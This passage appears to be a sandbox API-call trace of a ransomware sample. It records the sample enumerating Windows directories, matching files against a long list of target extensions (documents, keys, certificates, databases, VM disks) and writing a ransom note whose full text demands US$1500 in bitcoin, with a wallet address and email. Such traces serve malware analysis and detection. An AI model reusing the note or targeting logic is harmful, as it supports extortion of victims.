(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.gz") returned 0 [0103.912] lstrlenA (lpString="*.gz") returned 4 [0103.912] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.mkv") returned 0 [0103.913] lstrlenA (lpString="*.mkv") returned 5 [0103.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.eml") returned 0 [0103.913] lstrlenA (lpString="*.eml") returned 5 [0103.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.msg") returned 0 [0103.913] lstrlenA (lpString="*.msg") returned 5 [0103.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.edb") returned 0 [0103.913] lstrlenA (lpString="*.edb") returned 5 [0103.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.accdb") returned 0 [0103.913] lstrlenA (lpString="*.accdb") returned 7 [0103.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.odb") returned 0 [0103.913] lstrlenA (lpString="*.odb") returned 5 [0103.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.java") returned 0 [0103.913] lstrlenA (lpString="*.java") returned 6 [0103.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.asm") returned 0 [0103.913] lstrlenA (lpString="*.asm") returned 5 [0103.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.pfx") returned 0 [0103.914] lstrlenA (lpString="*.pfx") returned 5 [0103.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.pem") returned 0 [0103.914] lstrlenA (lpString="*.pem") returned 5 [0103.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.p12") returned 0 [0103.914] lstrlenA (lpString="*.p12") returned 5 [0103.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.gpg") returned 0 [0103.914] lstrlenA (lpString="*.gpg") returned 5 [0103.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.vsd") returned 0 [0103.914] lstrlenA (lpString="*.vsd") returned 5 [0103.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.odg") returned 0 [0103.914] lstrlenA (lpString="*.odg") returned 5 [0103.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.raw") returned 0 [0103.914] lstrlenA (lpString="*.raw") returned 5 [0103.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.nef") returned 0 [0103.915] lstrlenA (lpString="*.nef") returned 5 [0103.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.svg") returned 0 [0103.915] lstrlenA (lpString="*.svg") returned 5 [0103.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.psd") returned 0 [0103.915] lstrlenA (lpString="*.psd") returned 5 [0103.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.vmx") returned 0 [0103.915] lstrlenA (lpString="*.vmx") returned 5 [0103.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.vmdk") returned 0 [0103.915] lstrlenA (lpString="*.vmdk") returned 6 [0103.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.vdi") returned 0 [0103.915] lstrlenA (lpString="*.vdi") returned 5 [0103.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.lay6") returned 0 [0103.915] lstrlenA (lpString="*.lay6") returned 6 [0103.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.mpeg") returned 0 [0103.915] lstrlenA (lpString="*.mpeg") returned 6 [0103.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.djvu") returned 0 [0103.915] lstrlenA (lpString="*.djvu") returned 6 [0103.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.tiff") returned 0 [0103.916] lstrlenA (lpString="*.tiff") returned 6 [0103.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.backup") returned 0 [0103.916] lstrlenA (lpString="*.backup") returned 8 [0103.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.pdf") returned 0 [0103.916] lstrlenA (lpString="*.pdf") returned 5 [0103.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.cert") returned 0 [0103.916] lstrlenA (lpString="*.cert") returned 6 [0103.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.docm") returned 0 [0103.916] lstrlenA (lpString="*.docm") returned 6 [0103.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.xlsm") returned 0 [0103.916] lstrlenA (lpString="*.xlsm") returned 6 [0103.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.dwg") returned 0 [0103.916] lstrlenA (lpString="*.dwg") returned 5 [0103.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.nd") returned 0 [0103.917] lstrlenA (lpString="*.nd") returned 4 [0103.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.tlg") returned 0 [0103.917] lstrlenA (lpString="*.tlg") returned 5 [0103.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.lgb") returned 0 [0103.917] lstrlenA (lpString="*.lgb") returned 5 [0103.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.mov") returned 0 [0103.917] lstrlenA (lpString="*.mov") returned 5 [0103.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.xdw") returned 0 [0103.917] lstrlenA (lpString="*.xdw") returned 5 [0103.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.ods") returned 0 [0103.917] lstrlenA (lpString="*.ods") returned 5 [0103.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.wav") returned 0 [0103.917] lstrlenA (lpString="*.wav") returned 5 [0103.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.mp3") returned 0 [0103.917] lstrlenA (lpString="*.mp3") returned 5 [0103.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.aiff") returned 0 [0103.918] lstrlenA (lpString="*.aiff") returned 6 [0103.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.flac") returned 0 [0103.918] lstrlenA (lpString="*.flac") returned 6 [0103.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.m4a") returned 0 [0103.918] lstrlenA (lpString="*.m4a") returned 5 [0103.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MIGUIControls\\569e273efda8306ec7e22143d5285476\\MIGUIControls.ni.dll", pszSpec="*.csv") returned 0 [0103.918] lstrlenA (lpString="*.csv") returned 5 [0103.918] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aee35e7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5aee35e7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b03a24a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x624000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MIGUIControls.ni.dll", cAlternateFileName="MIGUIC~1.DLL")) returned 0 [0103.918] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b144bec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b144bec, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b144bec, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="569e273efda8306ec7e22143d5285476", cAlternateFileName="569E27~1")) returned 0 [0103.918] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0103.918] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f38307d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f38307d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f38307d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x49004d, dwReserved1=0x550047, cFileName="MMCEx", cAlternateFileName="")) returned 1 [0103.918] lstrcmpA (lpString1=".", lpString2="MMCEx") returned -1 [0103.919] lstrcmpA (lpString1="..", lpString2="MMCEx") returned -1 [0103.919] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0103.919] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="MMCEx" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx" [0103.919] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx") returned 52 [0103.919] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f38307d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f38307d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f38307d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0103.954] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.954] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f38307d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f38307d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f38307d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.954] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.955] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.955] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f38307d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f38307d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f38307d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6d4bacfd54e8f79763945bee5a50711d", cAlternateFileName="6D4BAC~1")) returned 1 [0103.955] lstrcmpA (lpString1=".", lpString2="6d4bacfd54e8f79763945bee5a50711d") returned -1 [0103.955] lstrcmpA (lpString1="..", lpString2="6d4bacfd54e8f79763945bee5a50711d") returned -1 [0103.955] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\*.*") returned="*.*" [0103.955] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\", lpString2="6d4bacfd54e8f79763945bee5a50711d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d" [0103.955] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d") returned 85 [0103.955] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f38307d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f38307d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f38307d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.956] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.956] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f38307d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f38307d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f38307d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.956] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.956] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.956] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f29e83c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f29e83c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f2eaafc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x179400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCEx.ni.dll", cAlternateFileName="MMCEXN~1.DLL")) returned 1 [0103.956] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.956] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MMCEx.ni.dll") returned -1 [0103.956] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MMCEx.ni.dll") returned -1 [0103.956] lstrcmpiA (lpString1="", lpString2="MMCEx.ni.dll") returned -1 [0103.956] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\*.*") returned="*.*" [0103.956] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\" [0103.957] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\") returned="" [0103.957] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\HOW TO DECRYPT FILES.txt" [0103.957] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mmcex\\6d4bacfd54e8f79763945bee5a50711d\\how to decrypt files.txt")) returned 0xffffffff [0103.957] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mmcex\\6d4bacfd54e8f79763945bee5a50711d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.958] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.958] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.960] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.960] CloseHandle (hObject=0x90) returned 1 [0103.960] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\", lpString2="MMCEx.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll" [0103.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.ems") returned 0 [0103.960] lstrlenA (lpString="*.ems") returned 5 [0103.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.db") returned 0 [0103.960] lstrlenA (lpString="*.db") returned 4 [0103.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.dbf") returned 0 [0103.961] lstrlenA (lpString="*.dbf") returned 5 [0103.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.myox") returned 0 [0103.961] lstrlenA (lpString="*.myox") returned 6 [0103.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.myo") returned 0 [0103.961] lstrlenA (lpString="*.myo") returned 5 [0103.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.qbw") returned 0 [0103.961] lstrlenA (lpString="*.qbw") returned 5 [0103.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.qbb") returned 0 [0103.961] lstrlenA (lpString="*.qbb") returned 5 [0103.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.qbm") returned 0 [0103.961] lstrlenA (lpString="*.qbm") returned 5 [0103.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.qbo") returned 0 [0103.961] lstrlenA (lpString="*.qbo") returned 5 [0103.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.qbx") returned 0 [0103.961] lstrlenA (lpString="*.qbx") returned 5 [0103.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.qba") returned 0 [0103.961] lstrlenA (lpString="*.qba") returned 5 [0103.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.qby") returned 0 [0103.962] lstrlenA (lpString="*.qby") returned 5 [0103.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.qbj") returned 0 [0103.962] lstrlenA (lpString="*.qbj") returned 5 [0103.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.ofx") returned 0 [0103.962] lstrlenA (lpString="*.ofx") returned 5 [0103.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.qif") returned 0 [0103.962] lstrlenA (lpString="*.qif") returned 5 [0103.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.mye") returned 0 [0103.962] lstrlenA (lpString="*.mye") returned 5 [0103.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.mbox") returned 0 [0103.962] lstrlenA (lpString="*.mbox") returned 6 [0103.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCEx\\6d4bacfd54e8f79763945bee5a50711d\\MMCEx.ni.dll", pszSpec="*.eml") returned 0 [0103.962] lstrlenA (lpString="*.eml") returned 5 